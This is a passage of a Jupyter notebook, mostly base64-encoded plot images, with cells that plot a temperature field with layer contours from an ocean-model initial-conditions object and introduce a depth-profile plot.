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", "text/plain": [ "<Figure size 900x500 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "initial_conditions.plot(\"temp\", eta=50, layer_contours=True)" ] }, { "cell_type": "markdown", "id": "3f19ba22-cd52-4136-beeb-2a1b142774b8", "metadata": {}, "source": [ "We can also plot a depth profile at at certain spatial location." ] }, { "cell_type": "code", "execution_count": 15, "id": "1e5bb842-a0be-4391-8894-a91319445956", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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